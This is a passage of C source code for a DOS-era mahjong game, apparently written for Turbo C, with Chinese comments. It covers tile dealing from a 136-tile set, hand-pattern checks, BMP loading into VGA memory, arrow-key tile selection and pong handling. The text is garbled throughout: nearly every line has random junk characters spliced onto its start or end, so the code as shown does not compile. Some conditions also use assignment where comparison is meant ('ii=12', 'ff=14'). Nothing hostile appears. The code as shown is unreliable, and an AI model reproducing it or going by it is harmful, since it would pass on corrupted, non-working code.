( Y& p2 E" [- M8 V# [9 Y7 s& d}
% N& q0 R- n- W2 N) a( a7 S$ eelse if(ii==9)
* n$ ]+ C6 R+ `8 t/ h$ C2 M# m" risthree(pi,ii);
6 X3 x- ]0 I: o: L9 jelse if(ii==11)1 Q$ x( ~3 Z9 T& p# K5 h% u
for(i=0;i&lt;10;i++)7 _" d1 P! b7 s7 N0 X8 C
{
8 d: I. M  u# v1 xfor(j=0;j&lt;2;j++)
( ?# z+ D! _& ~: U0 F  q{test[j]=pi[i+j];
  {) w0 ~# P$ J: U7 P}
8 c* `$ a$ X1 }1 b5 x8 Lif(istwo(test))
. f8 ]7 x( Q1 a' T9 \9 ?{ ill=0;- X5 d* U3 `; B- P/ q
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# Z4 m7 }$ v# y9 t% C9 R{if(kl==i)
  \8 o6 ]$ M/ i* b2 q3 O{, s4 ]( b# t1 E# n1 u+ @
kl=kl+2;# w* q3 n; }! S& H! {
if(kl==11)
6 k& _/ D& F( qbreak;2 L9 n3 ?& q# J, p! G
}
6 N/ y, o" X4 t6 Z  t7 itest[ill++]=pi[kl];' G0 v6 i  X* X) u
}9 `. A. B* a% l6 X+ V
isthree(test,ii-2);
6 M; `5 s: e. r. J}
+ F3 L; z1 `: Q/ X, y& _* R, ?}
, ?& O& q; m2 }) `9 h; i9 oelse if(ii=12)
7 f! }) z) H$ D4 L+ P1 b5 Iisthree(pi,ii);1 E" @: S- @$ {) a
else if(ii=14)
% b' u, {# l- {* V  c& U6 tfor(i=0;i&lt;13;i++)
; g. U- ?" o+ O+ g1 Z$ a{
4 |- V, v/ F7 O* @; a1 p+ m' ofor(j=0;j&lt;2;j++)
3 Z8 O  |6 D& m{test[j]=pi[i+j]; % M1 l7 Q" X4 q7 `- N
}) ]( N) V6 a* R  J2 B
if(istwo(test))8 T2 M; g& M( W5 Q/ b' b
{ ill=0;
% J9 w/ y2 Y7 T' Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 r4 N, V" _( D( }{if(kl==i)1 e; j/ n! C3 i. R1 i6 ]. a5 l
{
# c/ d+ T% O/ ?9 o8 @+ Q$ ekl=kl+2;
# G5 e2 W" P& \. Y$ S7 }, e* O, uif(kl==14)3 w- w% v) E9 d3 A9 j/ a
break;# x, }2 p* t1 u; i! I( d2 Z0 L
}1 S1 k% Y  ?8 C3 [
test[ill++]=pi[kl];8 i& H7 [" `5 _  @# Z2 ^
}
; r% ^1 U! k7 s) h5 Yisthree(test,ii-2); 7 U% {5 h/ e# F$ W6 O9 w
}
  k8 |. d, F# F1 F' }9 W} ! r$ m/ F, ^8 T- A" K
if(ff==2)# T+ r" l* ]8 z9 D/ H: ^) I0 G
istwo(pf);
( |, x9 q. x( w/ O- X/ o( Felse if(ff==3)
! D8 j# ]& X) X5 z: e8 \- ^isthree(pf,ff);5 i# e2 }! x! j
else if(ff==5)* t& g* R9 r9 G4 h9 I
/*pf[5]原始牌数组,假设已经升序排列*/
1 B. }5 l5 F; \# p9 q) z2 T5 N6 P/*test[3]用来放置测试牌的数组*/
8 w  l/ {- N7 gfor(i=0;i&lt;4;i++)
+ o4 H; G" d, w* o{; _  ]7 y, d, x$ u" s" ?
for(j=0;j&lt;2;j++)
1 X7 I6 C8 h: r' T( J9 V. t" ~3 B{test[j]=pf[i+j]; * `# A' [: G7 p* O. t9 N
}
0 n" w1 @$ r0 s( ?* G& a/ K' dif(istwo(test))2 O/ L9 N( y/ C1 R
{ ill=0;( Y6 M/ N7 E5 z+ ^
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/# P' ]  D7 D. ], R8 [
{if(kl==i)' h. N3 P8 D) m# Q% g. n
{
# n" _6 q7 ]6 M0 \$ |  L+ xkl=kl+2;
5 F8 h2 N$ o/ ~' M: Kif(kl==5)
* v9 a7 J, F5 E* [/ j$ E! w6 Lbreak;; n7 Y4 v* ^& Q7 p8 A
}
# G- F0 K! E  r# R4 z+ @test[ill++]=pf[kl];/ o2 l7 i$ {! |$ H! c# G0 r( _
}
' u- \7 W, {( v. Aisthree(test);
0 ~; l# q3 j3 w6 Q}0 y: |1 N- h6 E6 J" r# w0 o
}
: }- X8 P7 r0 \% X9 `0 `$ lelse if(ff==6)
# q, p5 r7 a# gisthree(pf,ff);
3 G  K' N+ C: j; p1 N& k8 o& ?else if(ff==8)
" ?( [2 `" n* ^7 d7 @3 Hfor(i=0;i&lt;7;i++); q3 @4 {1 A* T; a2 K4 I' G
{3 ^5 p4 [3 P  J$ M1 Q
for(j=0;j&lt;2;j++)
+ h- E$ a7 K# b3 x) Y5 ^{test[j]=pf[i+j];
- [( S6 a- Z8 u+ r! n6 n! G}
' ^6 U7 I7 ]# C# U1 T6 S5 Uif(istwo(test))
- Y& c0 r0 T, ^( K% ^# l{ ill=0;
$ T, R0 \# z# @% i& o! pfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/. B( S! k, T2 J2 V8 a7 b1 y
{if(kl==i)* A- I4 A7 o0 X5 m, f
{' k3 a& M; X  Q; Z( H8 t
kl=kl+2;
+ |# }3 o; u9 i; v" X! y" D2 j! Eif(kl==8)
; |$ _/ Z% ]( Z# I# D( J  vbreak;
% {' d: X, f- i}
, n4 B9 |' s2 A' S6 mtest[ill++]=pf[kl];
  a# R6 V. V" c}- e- S! |' _/ k( @; D1 s1 b$ F
isthree(test,ff-2); 8 T& v6 ?# J3 S9 g6 d/ M; l7 [
}
" \1 u) g+ s3 b7 D2 h} ; E$ R  E' B  ?/ l+ ]& ~
else if(ff==9)& O& L: e) u; w8 I6 g/ M( i
isthree(pw,ww);8 S) ~0 o! \5 B7 x0 Y9 L# u! b8 H
else if(ff==11)' f8 ~3 B" [* h% \1 ?4 o! J6 ?
for(i=0;i&lt;10;i++); u- Q$ x  R! O8 a( }
{
. @" X( c* i5 _& Qfor(j=0;j&lt;2;j++)3 N. @, ~4 C4 D  N1 h  D. T/ T$ A! p
{test[j]=pf[i+j]; # T# }) D5 x+ B" E" E1 i3 d* [
}
5 U) x, z  O: iif(istwo(test)): V+ \. a* ^* `' U" Q2 q7 p; A& Q9 O/ ]
{ ill=0;" a7 B- Q3 U- `2 `7 I1 G
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/0 S2 v8 d6 V- S' W3 n
{if(kl==i)) q- A3 D! r: ~# t, k/ h9 O: |
{
1 v1 y' C( b7 t' j2 g( Dkl=kl+2;' a6 w8 F& Z; T# q
if(kl==11); g, T3 [5 Z  u6 |% n; {! ^' L' F
break;* y% B; l1 @; O/ }
}
, G' y8 h& D4 A- V. e6 i/ r# gtest[ill++]=pf[kl];
3 \8 s/ I" L: }! y/ Z" o}
" w' U7 U) H5 I( o- }% Histhree(test,ff-2);   C8 }* K5 ?8 G4 e/ n5 A
}
- F7 Q! M; _0 S}
1 e/ ~. H- Z! O$ I) i2 }else if(ff=12)
& m' v6 l! u4 k+ r6 x' Eisthree(pf,ff);
- ?# p- D$ E1 R' d7 n3 celse if(ff=14)
8 T8 c" u1 {: W- V  _% Ufor(i=0;i&lt;13;i++)
. y  C) p. V8 j5 l% M1 q{
% s! i; W% Z& Y0 o: ~. n& A5 afor(j=0;j&lt;2;j++)6 Y' \1 F5 {. d* F5 Q* k
{test[j]=pf[i+j];
, ]" l6 _  J6 Z$ V}3 {, h) [/ q) u! n3 q
if(istwo(test))/ S8 }+ g3 l$ N2 k0 p! D( N: z0 Q
{ ill=0;  n. L9 O0 I( x0 ^+ I5 ]+ E  k8 v
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# O3 `6 B0 w  x5 m{if(kl==i)# m$ Z6 I. V# u, G/ k: i6 [
{8 o8 T# ?0 `: ?! _* Y
kl=kl+2;
' a' W- h* I# d6 L! C$ m& C+ tif(kl==14)6 Z" v* y% Q2 y9 B( d) Y+ m: z
break;; E9 o9 F8 G! F
}
8 I) X# `: z2 ^9 Ltest[ill++]=pf[kl];! `! s. Q3 Q/ e
}! ^  d" w5 w; R, _
isthree(test,ff-2);
1 D) _' E$ Q4 c2 t$ Q}
" T5 B/ d# o* x3 @8 ^6 }2 z} 7 q: O4 h2 n6 v5 s
}
6 `  W# ^) g2 kvoid main(void)' @* D  B& O' G' x+ P
{
" T5 p  `/ t% f: c" T( SFILE *bmp;
' Q7 Y: E; M- K/ @# W% R( Rstatic char *name[2]={"ff.bmp","logo.bmp"};
, P  B6 E# G) h! _' E/ }char *p;
- c# q" f# G% K5 k3 }& oint *lingshi;9 d  h2 N5 |& c1 X; k+ Q7 N+ t  s
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;" F4 @  Q) m& ?& @
int every=0,w=0,x1,x2,y1,y2,every1=0;5 H5 y6 O2 Z7 n/ l
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;; R3 H; ~# }9 Q+ g, i) M0 @5 M
BYTE palette[256][3];9 M" N! c$ U/ w. Q* E% u1 L
SETVGA;$ N2 c) o9 o5 {: e" W
getch();
8 B& l' e. X2 E. k1 J, m$ S6 T# [while(t--)
5 g' P9 p8 f0 ]; d{
7 B1 e5 C( R  Ybmp=fopen(name[t],"rb");; k8 w: S* {' J5 p0 ^
fseek(bmp,54,SEEK_SET);) R7 J+ y4 q3 |: B( G
for(i=0;i&lt;256;i++)
/ ?! S" X, |2 Y. i{% F' x' \/ p6 K* ^
palette[2]=fgetc(bmp)&gt;&gt;2;! M% V& s* B* O' |4 L
palette[1]=fgetc(bmp)&gt;&gt;2;
3 f, D) d( h; h* P' ypalette[0]=fgetc(bmp)&gt;&gt;2;
, C, \3 t. N" {3 A" V" Jfgetc(bmp);: p1 n- h0 [) I; G5 V
Set_Palette(i,palette[0],palette[1],palette[2]);
2 j9 J4 Q; A1 V" T5 W}
' D; D& ]0 ^- d4 qfor (y=0;y&lt;200;y++)( |9 x. p3 j& u, k
for(x=0;x&lt;320;x++)* |4 c2 O& L( _5 o+ m3 a* I8 S
pokeb(0xa000,y*320+x,fgetc(bmp));( J# H/ ^7 o5 m; {
fclose(bmp);% f7 s0 r" n8 c1 W' s
getch();/ o( G. a5 ?; a/ K2 F
}
9 X6 A2 \! s0 S( `: w/ mgetch();
5 h! |& F$ P. {1 }* B1 c9 o9 IfillRectangle(0,0,320,200,0);
; e* J1 Z9 {& W* c# q% Y) ^getch();" P& S7 b; B% R5 C* X; `7 f* q' z
randomize();0 M# \" g- D; s- q5 p. }$ r
me.m=onetothirteen;2 |6 d. @; ^7 K3 U& G* M+ Q3 s/ P& X
while(me.m&gt;0) /*先循环,给自己拿牌*/
/ K/ H/ R+ s& P5 G{5 H9 S1 @0 G! o3 J/ s  i6 |( v
( l" [# {' l. [( Y
temp=random(136);
0 b; F+ r4 q3 i! ?) M2 j- }if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)6 V. ~4 o0 s# M; K4 f3 M* D
{' D# B( G. w& K
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/! N6 T+ `( F$ O3 ^
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
3 C3 X, o# p) U( [me.pp[n].number=temp; /*第几张,用来排序*/0 w' H6 b: Z$ s7 y! F
m[temp].data2=1; /*判断牌是谁的*/
' Y5 `% U7 H1 Z7 n' rkk=1;6 g7 A# o, P5 ~$ P
}2 ]  t4 E  ]6 M6 F
if(kk==0) /*判断如果又选择了,就从新再选*/2 R. {) L: Y/ J' g! r( g6 e
{
% E0 t  k+ O/ {( hme.m++;
! w" v4 v' n% Q( ~0 T- un--;$ f( n! _( K! s4 w
}
/ x) ~) S) D; |me.m--;, a0 U) _1 d% V9 i+ A5 a
n++;
2 L) ?2 W. }, @2 n+ M% dkk=0;
9 F# s! G2 O6 f. [" n: w% Z/ ~2 a, `}
7 Y. S/ K- j; ]& pme.m=12;
: J. H2 {) Q1 O8 e; R( imelipai(); /*理牌*/3 X3 p  {  Y  \0 n
3 G3 j3 }" Y* Y9 [  N0 r
n=13;9 B' a( J) v) }3 M
while(l&lt;n)% [9 S% U8 Y6 s0 g
{
% T. P3 I9 T* ~; P5 M2 r: l2 Nz=z+20;4 I, ]9 U2 E" w) B9 u
showbmp(l);
. `/ }/ F  W- Z4 }$ L) h5 f! [l++;/ [& k$ W, S7 ]! b4 I

3 |2 u- K& f. r, f3 |8 \}* H( g$ P" V) N
randomize();
& ?; g0 G" @# Z2 b7 s3 w) @computer.m=oneorthirteen;) u9 q" X1 g4 J9 O' ?, @- }* O
n=0;5 T6 k, M5 \: N% Y5 {2 \
while(computer.m&gt;0) /*循环,给对方拿牌*/+ U- c3 D3 V" `
{* I/ K0 B$ m( |# ^9 g6 {: U
temp=random(136);5 a; n+ t( l' ~
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
0 J5 ?' M# \  S2 S  C/ _{
0 x/ k  q) z9 u7 V, bcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/3 O, n% S: @/ }3 d! N4 d- s; B; a
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/- R0 Z$ G3 S- p
computer.pp[n].number=temp; /*第几张,用来排序*/
" a* [! ~1 R# L$ M! R( l( @/ A9 |m[temp].data2=2; /*判断牌是谁的,2为电脑*/
: ?( P( s( Y: a; ]& Dkk=1;+ h8 N1 B5 F: F5 ]# \
}
  E  W- E& M9 c/ t# gif(kk==0) /*判断如果又选择了,就从新再选*/
7 ~0 h2 @0 M  L9 \, K% V{ 7 c8 ~1 ~& L7 F) K5 P, ]: u
computer.m++;
2 V- ~) V& i8 E1 k6 ^% ^& `7 o8 @n--;6 ^) D/ j  w3 Q$ X% F
}2 N8 ^3 `& V9 Q. t5 |4 }; o' }
computer.m--;
; i! q/ C, F1 i  gn++;0 a+ o$ h1 f3 K. J5 Z. |- k
kk=0;5 o1 y$ b6 P# V) }. F
}% s' j, F0 S. g) O' d: U
computer.m=12;$ d; G, M& T& Z! T2 Z
comlipai(); /*电脑理牌*/- O" [2 @8 n- R: D: @, u% a3 j, L
n=13;( ^9 n6 I- B% H* H5 ~
while(ll&lt;n)5 m! l: t8 K3 e2 O4 K
{" g& y$ h3 b: O, N6 M( J
zy=zy+20;
# N' \9 i/ R- J+ Y' C* G' l4 Q' \showybmp(ll);
  A/ H! E: T4 F+ V3 U; r- y2 Yll++;
! B% D' P) W0 L* k}
" _: _/ F- Y: P5 A
2 Y; G; A, L. q) fz=54400;. E4 G( n( X2 }/ G6 b0 |0 t
while(key!=ESC)- d6 ^$ h' ?1 H- F, ~
{
# C; @+ \2 S* Y1 u  s# f2 p7 f1 L+ W$ C1 x7 K( s0 `1 g! l
keyy=bioskey(0);
9 N3 }( g. Q8 d8 ]( g  e1 Vif(keyy==LEFT)
: F( a. Y, F& \1 R{ w=1;0 y2 j' G  u( s1 k& @; R
if(every==0)- a* O9 p0 F) [. K% E
{
" z3 _' N+ `+ d  ?  ~$ F9 S4 gevery=1;3 r) |% T" V8 z% m4 ~) I
z=54440-5*320;  |8 t7 i3 K8 K- M: E. ]
1 ]6 h' G' s- D
}
( C" j7 g8 \( V4 G$ J' {zz=zz+5*320;5 X# o5 t2 N7 W+ L4 ]
showbmp(every);4 [  r  T9 E/ ~' ^# |1 K
if(every==0)
/ L9 i+ t/ ^5 A3 @$ V2 _6 r: r{5 D8 S7 m- L+ B4 A' U3 B! J9 m& n5 M
x1=20;/ {& w" p% O& Z3 C- I( Q
y1=165;
0 I5 d( r. }! P8 V/ YfillRectangle(x1,y1,x1+20,y1+4,0);# \. J! p6 H0 I
}2 y! u% h6 u3 X- B, Y+ y' R
if(every==1). ^, F0 z6 G5 |; Z9 F% S: M2 ^7 z
{. j7 M+ \2 S9 |5 z
x1=40;
! X' U4 \5 Q. i( E7 i8 p: E1 T2 ly1=165;
; B2 y! d  q5 ~3 v& s% \fillRectangle(x1,y1,x1+20,y1+4,0);) I. ?3 R0 x, ~4 G: f+ |  T; L
}
$ R) b' T0 ~& {! K0 t% F& R  mif(every==2)/ R" j4 Y' c; K$ N+ d  e1 P0 `
{
, U0 v: _0 B2 v, ]x1=60;/ M2 S3 i. ]/ O) ]
y1=165;) J. C" j8 x9 G% J; W
fillRectangle(x1,y1,x1+20,y1+4,0);
  g3 f1 K, Z+ U% @3 }}: o& f0 x! W: t( }$ ?; n! ?
if(every==3)
7 G! G) Y1 N/ U5 ?1 Z{
6 k; t! P: {* `, Q! u# bx1=80;. H  T' X0 H4 V4 i4 V$ u( s
y1=165;) ]7 \1 B3 j4 Y. V4 U9 c
fillRectangle(x1,y1,x1+20,y1+4,0);/ ^) W) ~# Y5 ]5 h0 D
}/ P! l) M4 B/ l+ J% @& m
if(every==4)
3 ?  ?: ?5 T$ W- O2 o/ T{
. }: L5 Y) d/ {$ t3 y$ C) fx1=100;, A( Q2 z! ?3 i4 D- T3 p1 [7 T
y1=165;
9 B# K: |" A8 J0 ]) lfillRectangle(x1,y1,x1+20,y1+4,0);2 z& R8 s, I1 H. t3 K
}
5 _: J/ r6 Z& m  V6 t! A9 gif(every==5)
  f/ _7 m8 m* n  l4 e{
4 t% _( [7 P. u: a# B  Q# z" sx1=120;
, K7 I+ G4 o3 }( Ly1=165;$ U8 B, `% h* E; @6 p
fillRectangle(x1,y1,x1+20,y1+4,0);1 g& k$ v) ]  g6 d) I' x" [, c
}: h# I3 O; p7 c' R8 X* l
if(every==6)
/ ]0 |$ p2 X9 A7 T4 F2 F{* o, B2 h0 h9 x1 T  r5 `7 O
x1=140;
7 w' N8 h" i4 F  @  g6 ny1=165;
$ {% u) i% A+ Z; E5 E. jfillRectangle(x1,y1,x1+20,y1+4,0);
* ~6 K( i4 T& k8 d4 U0 q+ _" M}
# s2 ^' D) a/ v! R5 u4 Jif(every==7)
) v* N2 v) ]' H; N& @{! m& Y, F2 W5 v6 i0 T# `4 A
x1=160;
# Q; M; B6 G% p# C3 u% K; D' Ay1=165;( G7 R1 |. c6 ~4 O/ n
fillRectangle(x1,y1,x1+20,y1+4,0);
# O, F8 p+ O7 l! M}  R2 J) S% S/ c
if(every==8)3 E7 E/ o9 L2 `, {  U) |; ~
{9 A. m9 B: o2 W3 D: f8 G# T
x1=180;8 C: D% O  |, X1 P7 C9 g0 ~. B
y1=165;: J$ p. Z: Y  {# i5 c  y
fillRectangle(x1,y1,x1+20,y1+4,0);
# X/ k3 P) S$ N. `) r}
0 r; B4 s+ g7 w2 |+ |; zif(every==9)+ ^) }  I# K4 N
{
7 T; h0 X& O9 K: ~$ U# P: t- {! Qx1=200;
8 A9 z* k. s: V  o' cy1=165;% h5 x: x' ~# W2 ~% p* Q
fillRectangle(x1,y1,x1+20,y1+4,0);
6 g0 Z1 i' e2 K0 W}
6 D% ^- F. n/ {, @3 T) Dif(every==10)
. S4 g. O! z( W& r{- H4 h- u* T; H  ^6 Q/ F
x1=220;& ?4 j7 ?& C+ R6 r- M2 X- q* r
y1=165;
$ G6 p* `/ q: ^* X# Z5 c  m$ LfillRectangle(x1,y1,x1+20,y1+4,0);
: I% x7 s1 {/ v1 P" ?0 o3 ?8 I}
6 @/ y% x' a) V5 m; R6 I! x0 gif(every==11)7 m: K% s1 {/ w
{
$ A& V6 _" {" ~. H6 X8 L! Mx1=240;0 a: X5 C+ }; C0 [  T
y1=165;4 R# `1 t6 {+ O% Z
fillRectangle(x1,y1,x1+20,y1+4,0);
& @% q. s# E1 v2 E# ^0 g! W& h}% R) X% n. v' z
if(every==12)& [7 v, q. E5 W8 ]$ b1 F# r! S
{7 |! Y5 @+ K* h" f
x1=260;
8 _) A- p0 ~: L9 _8 g0 jy1=165;
' o* d9 n* A2 Z* yfillRectangle(x1,y1,x1+20,y1+4,0);
% {/ N/ [. Z7 v/ T) A' k}1 ?( o# o# n9 S. I& C8 J/ ?
zz=0;9 X9 T1 Z( B# f4 y% P- o  ?
every--;
2 _3 W+ W, g$ ~3 l) z: Kz=z-20;. \$ ?; H/ m" e) O4 K
}+ T6 p, @1 e- D0 F, C6 `% i
if(keyy==RIGHT)
: I( V) H2 j) `( J. b{ if(w==0)
) L  h% q5 [% _: H4 B2 ^{
0 a/ M: |' r3 Z" R( Y& Iz=54440-5*320;
2 ]6 g( H7 n% X$ M2 d" {0 `# a$ Mz=z-20;
4 s1 b/ `. J" K. v/ Nw=1;
) u5 X' e" k' ]6 g6 h}
( z& e" ]. a/ Q. G4 Sif(every==12) , m# X* J5 Q: }6 [% |, X/ E2 k
{, c- O- R9 H' d
every=11;
8 |5 A1 `2 v; A5 G  ]z=54640-5*320;
) {) D  V/ {  H: V* p}9 t' z% z; l& M0 A, \
zz=zz+5*320;
$ V: d* z0 u+ ushowbmp(every);
& N  l+ P" @9 C6 {if(every==0)9 [" L( f; x! v- q  n
{! M5 `3 g: |, C5 ]; f& x  ?1 w
x1=20;0 s2 a7 c; M5 B1 C# [  [- u: d8 W
y1=165;
. o! X2 G  S7 |8 j/ z/ T- p7 Y3 |fillRectangle(x1,y1,x1+20,y1+4,0);
1 w1 ^# j0 W$ i6 G5 E7 p( Q, H}9 v3 X9 H6 I$ E+ ~  R
if(every==1)0 X  ?4 C" @) f" Q/ f
{
7 e1 L0 P- L, o/ z" w  ?4 P; ix1=40;( g6 u' W! V3 [% M3 R
y1=165;
3 p4 L3 s: `( P# yfillRectangle(x1,y1,x1+20,y1+4,0);
+ E$ R- F+ q7 @}6 O/ r- X" y1 q
if(every==2)
$ _4 K) b7 ~$ n: H( G3 x1 S{
- q# s! [8 w% Kx1=60;/ a5 b4 P( D+ G3 @; v  E
y1=165;
5 e2 e* v, \! v  V: j, K, QfillRectangle(x1,y1,x1+20,y1+4,0);
0 \9 U7 M3 F: E: v}
7 ~" W2 V% d8 Rif(every==3)0 n6 t9 W; N; m& L- \
{
7 f5 M* S2 \0 i1 [* j6 J, ?9 b) W1 ~x1=80;5 [8 `. J) ]3 y) M
y1=165;4 ]' o7 t- J/ J
fillRectangle(x1,y1,x1+20,y1+4,0);
4 A6 _/ L8 ^1 v' V: _}
+ E) x" C7 P* r1 x+ r5 `- oif(every==4)! Y5 E% n4 j$ P' M, D& ]" v
{
0 K/ c6 U3 V4 ]+ px1=100;
  s! u% x7 @$ Uy1=165;  E& F  b( {# i% p% x) `6 B
fillRectangle(x1,y1,x1+20,y1+4,0);" v/ S# k* M: S( Y
}
1 `% A$ e9 S$ x- Jif(every==5)
3 s# T# H8 f  |8 z& z. `4 a{
- R( q7 {; D. K7 J" g9 ?7 gx1=120;
3 s  e5 q: i# O( ^' Dy1=165;% K+ V( H* Y) `+ c* X8 u
fillRectangle(x1,y1,x1+20,y1+4,0);
" X3 J* a) b$ K1 A0 F}
9 }: G( `8 f/ s6 C+ ~) P0 Rif(every==6)" c: r  z, N/ b! W3 M
{
* K3 g+ C1 q; ^2 q# a8 tx1=140;
0 O$ F6 g) J2 ]7 C0 vy1=165;) o2 Y* \, b# l6 F
fillRectangle(x1,y1,x1+20,y1+4,0);
$ C& p- W) b  S8 _5 V3 q5 P}
3 `4 |  S" j8 w  f0 q# eif(every==7)/ l1 }. F$ ^& Q5 e# i5 a. R1 k4 J
{
& u& U  m* m5 H/ U1 E" u- E% hx1=160;
( @0 F6 ?5 Q, m- R8 x# M6 V1 [y1=165;
2 P# E9 Z; y) @$ l% xfillRectangle(x1,y1,x1+20,y1+4,0);$ t: F  T1 R- d$ ^
}
) `" h, h2 Y* T) V" Pif(every==8)& Q/ D: D& ~( E1 a6 O4 y
{
+ \' t7 h2 i5 {8 I6 J9 [# V9 i* Vx1=180;
' A' r! |/ o3 u# c# Q  N9 by1=165;
2 l- K' u1 E( Z$ C) pfillRectangle(x1,y1,x1+20,y1+4,0);( g. X$ L1 p9 D' C- p
}3 ~; F3 I2 `, a; F5 x# i9 ~
if(every==9)
6 }. l/ y3 o# M: N  E8 _: R3 j{
# |* x, ~) i, n- k. p' ax1=200;
8 F4 F5 q* _0 T, B9 Xy1=165;! ^: P, z7 P3 N
fillRectangle(x1,y1,x1+20,y1+4,0);& P  T- X4 S$ F& Q
}
7 V& @2 U0 I8 h9 F* S7 d" Wif(every==10)8 J5 H3 Y: A; F: M0 E1 t
{' Y9 x  j( r* e) y
x1=220;) k$ n+ q( Q% a. u( i
y1=165;
9 F, ^3 s% x" {) dfillRectangle(x1,y1,x1+20,y1+4,0);
4 ]: r/ y, l7 d$ p$ U}- T7 m6 e0 G. V% Y" x3 k* ?0 |
if(every==11); B5 f- _9 s7 G$ e  H8 j
{6 w3 H. V* a# ?5 H8 {
x1=240;( G- q1 L, |: U$ H
y1=165;
0 T4 R' t1 ~) \, e9 i8 ifillRectangle(x1,y1,x1+20,y1+4,0);
; B& w% v5 D1 C) w, v" d2 c$ ]}  F6 G  W* }/ H1 R: T4 k
if(every==12)3 W8 @# n% A8 s; ?5 P' X
{0 ?/ I  X# B% H: K3 ?) y
x1=260;$ v$ E5 c0 A& I, K3 n
y1=165;
; ?$ z; X! ?+ e# {+ C; I, `fillRectangle(x1,y1,x1+20,y1+4,0);
6 F+ [8 X: B8 x}! J9 i* ?1 ]2 t7 v$ R2 X6 B) }
, g3 Z6 K5 b4 A: ^
zz=0;, F0 A! J! S6 [4 B
every++;
! `- L2 c7 O  h9 D6 n# S0 jz=z+20;
  n& C! X$ Q/ N$ M2 M! [}
6 d" p* b; w* L: e( Oshowbmp(every);$ @! w# j8 b9 W9 [
key=keyy;
$ D# m# t& w/ ?; h2 }$ b8 Aif(keyy==ENTER)+ r- \# |6 n/ i6 \3 P% t
{
! `* n. ]5 v  b: b- Mrgzn(every); /*********************/7 m9 ^/ ~: ]- h2 F
if(sing==1) /*如果可以乓,做相应的处理*/
! J( f; l) A6 M3 L9 `6 W# {{
% s% ~7 _; }' r3 y( t4 [  M) J1 kkkk=0;
6 w, ~: V* F4 Q  D2 akkkk=0;& _) N8 p5 G( B. J9 P; ]
while(kkk&lt;=computer.m)  ?; M% Y; Z7 h' }
{
- X8 d4 K4 O7 l) o9 A# m' W5 |) `if(computer.pp[kkk].p!=1)
6 R0 D. `: Q( \* ?' E9 V0 J7 O{
5 {, P- Z5 J3 f4 X% D; pcomp.pp[kkkk].k=computer.pp[kkk].k;
6 K' P: e: F; V5 A) kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
" }! F9 |: b0 c! Y- d, ecomp.pp[kkkk].number=computer.pp[kkk].number;6 X% J- A5 }& A9 Q# h) \3 Q' D6 @
kkkk++;
& N( h6 N. D; T5 G7 D% _+ M}
& i- d6 @8 L% {) Velse+ d7 G/ Q1 y2 q
{, F) k* ]" k& y3 C4 }8 T
m[computer.pp[kkk].number].data1=1;/ k! r+ y9 W0 N; m! H  p
dwei=computer.pp[kkk].number;
6 s; f6 l  Q* Y' scomputer.pp[kkk].p=0;0 S! O( p- E8 B' T& `& u( M" s
}
% k# D! b; ^6 b7 U  S- ?kkk++;1 H: c9 W" O3 h4 p0 v7 s
}% M: c+ o4 Z; ^( S+ d
ll=0;
$ x0 M$ C6 ]' X# e
8 H0 c/ Z4 r2 t  X3 C; Ewhile(ll&lt;3); F! t3 d9 k/ J
{ zl=zl+20;& W' x: w& s$ g* |% J: @$ w& |
bmpp(dwei); /*显示乓的牌*/
/ Z; E( M" q) G1 s* t; n6 Nll++;
. R# |. k5 ]# b# w- T3 k}" C# L8 V# P0 J1 f
- q4 r$ C7 U) K$ C8 r; Y8 l
zl=zl+9600-60;, s) P5 D9 Q5 O1 s6 I+ h$ F8 _
kkk=0;9 S" V2 I# o1 X' z
computer.m=computer.m-2;
9 m! A/ A: `6 X% ewhile(kkk&lt;=computer.m); U$ B4 Z0 |  o6 J
{. |2 ]) T2 `% P0 W2 D7 y5 h
computer.pp[kkk].k=comp.pp[kkk].k;
$ X! D  o6 e7 L- A4 K# P- pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;( A% f$ v% B8 V4 M
computer.pp[kkk].number=comp.pp[kkk].number;
& l3 A' o4 i7 A5 {" Bkkk++;
/ |/ v" M& i9 n7 h}  W9 e  G. y+ O5 H1 C; v2 p1 p
ll=0;6 g3 L6 T- c# o' A: S- M
temp=random(computer.m); /*出牌等待完善*/
2 d* c: C  a8 B. Xzyy=zyy+9280+20;
0 g* r- O+ q8 X8 u6 C( c. d& ^4 F) eshowcbmp(temp);
  u7 H( [5 f) p( \8 J/ @% q. ezyy=zyy-9280;% ^5 \, x& n' B% `% `
/*****/$ A# J0 t# a0 r
rgznme(temp);
  ^; [" q2 H4 N( E/ `" r* upanduan();
4 A1 a% K" \% F6 O) j5 Nif(me.m==0)  Y! \( L+ n$ B( I6 s
if(second==1 &amp;&amp; threes==0)
4 N5 q1 j3 X; a1 Eprintf("you win!");' t/ O* b8 C- ?/ q  i
if(me.m==3)- b; t7 P# _6 D" P
if(second==1 &amp;&amp; threes==1)
( a/ q- s1 ?! R5 b1 dprintf("you win!");
# O( n; l( A7 r  h$ i5 h+ [if(me.m==6)
8 w! G( D5 z% O2 |2 }if(second==1 &amp;&amp; threes==2)$ h4 e1 C& F* a5 `; M
printf("you win!");
6 G' P: J  l2 {, G9 Aif(me.m==9)+ h! N+ @" t1 F
if(second==1 &amp;&amp; threes==3), J$ V! l: [# g0 X: X* t. |/ s: f
printf("you win!");
4 S6 {3 k5 |% Y0 J7 Gif(me.m==12)9 I1 g- i" r. p3 ?1 `
if(second==1 &amp;&amp; threes==4)( K/ T" E7 Y. Y
printf("you win!");
5 ?' C* l6 D7 @9 G- V1 C0 W0 @
5 X, X3 O1 x- u3 Ckkk=0;
